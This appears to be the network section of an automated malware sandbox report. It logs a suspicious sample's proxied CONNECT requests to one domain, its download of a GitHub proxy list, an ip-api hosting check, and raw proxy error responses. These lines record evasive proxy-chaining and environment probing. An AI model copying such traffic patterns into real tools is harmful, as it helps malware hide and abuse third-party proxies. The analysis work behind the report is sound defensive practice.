Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.com
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 117.160.250.133
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.127.220
Source: unknown	TCP traffic detected without corresponding DNS query: 161.97.163.52
Source: unknown	TCP traffic detected without corresponding DNS query: 12.156.45.155
Source: unknown	TCP traffic detected without corresponding DNS query: 122.155.165.191
Source: unknown	TCP traffic detected without corresponding DNS query: 85.25.177.53
Source: unknown	TCP traffic detected without corresponding DNS query: 212.220.13.98
Source: unknown	TCP traffic detected without corresponding DNS query: 188.191.164.55
Source: unknown	TCP traffic detected without corresponding DNS query: 172.173.132.85
Source: unknown	TCP traffic detected without corresponding DNS query: 46.0.203.186
Source: unknown	TCP traffic detected without corresponding DNS query: 154.83.29.105
Source: unknown	TCP traffic detected without corresponding DNS query: 39.109.113.97
Source: unknown	TCP traffic detected without corresponding DNS query: 131.100.48.97
Source: unknown	TCP traffic detected without corresponding DNS query: 50.218.57.71
Source: unknown	TCP traffic detected without corresponding DNS query: 46.209.54.102
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.143.187
Source: unknown	TCP traffic detected without corresponding DNS query: 162.241.66.135
Source: unknown	TCP traffic detected without corresponding DNS query: 50.217.226.44
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.44.229
Source: unknown	TCP traffic detected without corresponding DNS query: 157.230.8.196
Source: unknown	TCP traffic detected without corresponding DNS query: 61.7.138.243
Source: unknown	TCP traffic detected without corresponding DNS query: 46.209.207.149
Source: unknown	TCP traffic detected without corresponding DNS query: 165.232.158.60
Source: unknown	TCP traffic detected without corresponding DNS query: 104.128.103.32
Source: unknown	TCP traffic detected without corresponding DNS query: 180.180.218.250
Source: unknown	TCP traffic detected without corresponding DNS query: 138.68.155.22
Source: unknown	TCP traffic detected without corresponding DNS query: 114.106.173.229
Source: unknown	TCP traffic detected without corresponding DNS query: 91.134.140.160
Source: unknown	TCP traffic detected without corresponding DNS query: 50.220.168.134
Source: unknown	TCP traffic detected without corresponding DNS query: 103.209.230.185
Source: unknown	TCP traffic detected without corresponding DNS query: 103.233.2.90
Source: unknown	TCP traffic detected without corresponding DNS query: 181.78.19.242
Source: unknown	TCP traffic detected without corresponding DNS query: 189.173.223.225
Source: unknown	TCP traffic detected without corresponding DNS query: 101.255.116.163
Source: unknown	TCP traffic detected without corresponding DNS query: 50.174.214.218
Source: unknown	TCP traffic detected without corresponding DNS query: 103.167.68.77
Source: unknown	TCP traffic detected without corresponding DNS query: 185.164.163.135
Source: unknown	TCP traffic detected without corresponding DNS query: 45.117.179.209
Source: unknown	TCP traffic detected without corresponding DNS query: 211.43.214.205
Source: unknown	TCP traffic detected without corresponding DNS query: 92.204.135.203
Source: unknown	TCP traffic detected without corresponding DNS query: 103.224.124.75
Source: unknown	TCP traffic detected without corresponding DNS query: 182.72.203.255
Source: unknown	TCP traffic detected without corresponding DNS query: 132.148.128.88
Source: unknown	TCP traffic detected without corresponding DNS query: 183.234.85.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.165.232.45
Source: unknown	TCP traffic detected without corresponding DNS query: 50.173.182.90
Source: unknown	TCP traffic detected without corresponding DNS query: 12.89.124.138
Source: unknown	TCP traffic detected without corresponding DNS query: 195.93.172.32
Source: unknown	TCP traffic detected without corresponding DNS query: 31.169.79.37
Source: unknown	TCP traffic detected without corresponding DNS query: 162.254.38.202

Source: global traffic	HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: github.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 36 35 32 39 37 31 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003906529719"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 35 30 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314050"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:02 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 11 Mar 2024 14:21:02 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:02 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 14:21:02 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailablex-envoy-overloaded: truecontent-length: 81content-type: text/plaindate: Mon, 11 Mar 2024 14:00:49 GMTserver: svcproxyconnection: closeData Raw: 75 70 73 74 72 65 61 6d 20 63 6f 6e 6e 65 63 74 20 65 72 72 6f 72 20 6f 72 20 64 69 73 63 6f 6e 6e 65 63 74 2f 72 65 73 65 74 20 62 65 66 6f 72 65 20 68 65 61 64 65 72 73 2e 20 72 65 73 65 74 20 72 65 61 73 6f 6e 3a 20 6f 76 65 72 66 6c 6f 77 Data Ascii: upstream connect error or disconnect/reset before headers. reset reason: overflow
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 14:21:03 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 30 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314009"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
